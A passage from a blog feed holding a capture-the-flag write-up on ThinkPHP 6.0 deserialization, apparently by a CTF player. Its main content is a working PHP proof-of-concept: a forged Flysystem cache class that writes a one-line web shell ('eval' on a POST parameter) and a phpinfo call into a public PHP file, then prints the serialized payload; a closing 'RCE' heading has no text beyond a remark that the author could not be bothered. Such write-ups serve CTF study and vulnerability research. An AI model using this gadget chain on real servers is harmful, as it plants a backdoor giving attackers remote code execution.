class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="keyword">require</span> <span class="keyword">__DIR__</span>.<span class="string">'/vendor/autoload.php'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">League</span>\<span class="title">Flysystem</span>\<span class="title">Cached</span>\<span class="title">Storage</span>\<span class="title">AbstractCache</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">League</span>\<span class="title">Flysystem</span>\<span class="title">Adapter</span>\<span class="title">Local</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">use</span> <span class="title">League</span>\<span class="title">Flysystem</span>\<span class="title">AdapterInterface</span>;</span><br><span class="line"><span class="keyword">use</span> <span class="title">League</span>\<span class="title">Flysystem</span>\<span class="title">Config</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Adapter</span> <span class="keyword">extends</span> <span class="title">AbstractCache</span></span></span><br><span class="line"><span class="class"></span>{</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@var</span> AdapterInterface An adapter</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> $adapter;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@var</span> string the file to cache to</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> $file;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@var</span> int|null seconds until cache expiration</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> $expire = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructor.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> AdapterInterface $adapter adapter</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $file the file to cache to</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> int|null $expire seconds until cache expiration</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="comment">// public function __construct(AdapterInterface $adapter, $file, $expire = null)</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($expire = null)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="comment">// $this->adapter = $adapter;</span></span><br><span class="line"> <span class="comment">// $this->file = $file;</span></span><br><span class="line"> <span class="keyword">$this</span>->setExpire($expire);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">$this</span>->autosave = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">$this</span>->adapter = <span class="keyword">new</span> Local(<span class="string">'./public/'</span>);</span><br><span class="line"> <span class="keyword">$this</span>->cache = [<span class="string">"<?php eval(\$_POST['a']); ?>"</span>,<span class="string">"<?php phpinfo(); ?>"</span>];</span><br><span class="line"> <span class="keyword">$this</span>->file = <span class="string">'LionTree.php'</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Set the expiration time in seconds.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> int $expire relative expiration time</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">setExpire</span><span class="params">($expire)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> ($expire) {</span><br><span class="line"> <span class="keyword">$this</span>->expire = <span class="keyword">$this</span>->getTime($expire);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Get expiration time in seconds.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> int $time relative expiration time</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> int actual expiration time</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">protected</span> <span class="function"><span class="keyword">function</span> <span class="title">getTime</span><span class="params">($time = <span class="number">0</span>)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">return</span> intval(microtime(<span class="keyword">true</span>)) + $time;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * {<span class="doctag">@inheritdoc</span>}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">setFromStorage</span><span class="params">($json)</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">list</span>($cache, $complete, $expire) = json_decode($json, <span class="keyword">true</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (! $expire || $expire > <span class="keyword">$this</span>->getTime()) {</span><br><span class="line"> <span class="keyword">$this</span>->cache = $cache;</span><br><span class="line"> <span class="keyword">$this</span>->complete = $complete;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">$this</span>->adapter->delete(<span class="keyword">$this</span>->file);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * {<span class="doctag">@inheritdoc</span>}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">load</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->adapter->has(<span class="keyword">$this</span>->file)) {</span><br><span class="line"> $file = <span class="keyword">$this</span>->adapter->read(<span class="keyword">$this</span>->file);</span><br><span class="line"> <span class="keyword">if</span> ($file && !<span class="keyword">empty</span>($file[<span class="string">'contents'</span>])) {</span><br><span class="line"> <span class="keyword">$this</span>->setFromStorage($file[<span class="string">'contents'</span>]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * {<span class="doctag">@inheritdoc</span>}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getForStorage</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $cleaned = <span class="keyword">$this</span>->cleanContents(<span class="keyword">$this</span>->cache);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> json_encode([$cleaned, <span class="keyword">$this</span>->complete, <span class="keyword">$this</span>->expire]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * {<span class="doctag">@inheritdoc</span>}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">save</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"> $config = <span class="keyword">new</span> Config();</span><br><span class="line"> $contents = <span class="keyword">$this</span>->getForStorage();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">$this</span>->adapter->has(<span class="keyword">$this</span>->file)) {</span><br><span class="line"> <span class="keyword">$this</span>->adapter->update(<span class="keyword">$this</span>->file, $contents, $config);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">$this</span>->adapter->write(<span class="keyword">$this</span>->file, $contents, $config);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$o = <span class="keyword">new</span> Adapter();</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize($o));</span><br></pre></td></tr></table></figure></li></ul><h2 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h2><p>懒得写了。。</p>]]></content>
<summary type="html">
<p>thinkphp6.0的反序列化</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2
</summary>
<category term="CTF" scheme="https://liotree.github.io/categories/CTF/"/>
<category term="writeup" scheme="https://liotree.github.io/tags/writeup/"/>
<category term="反序列化" scheme="https://liotree.github.io/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
</feed>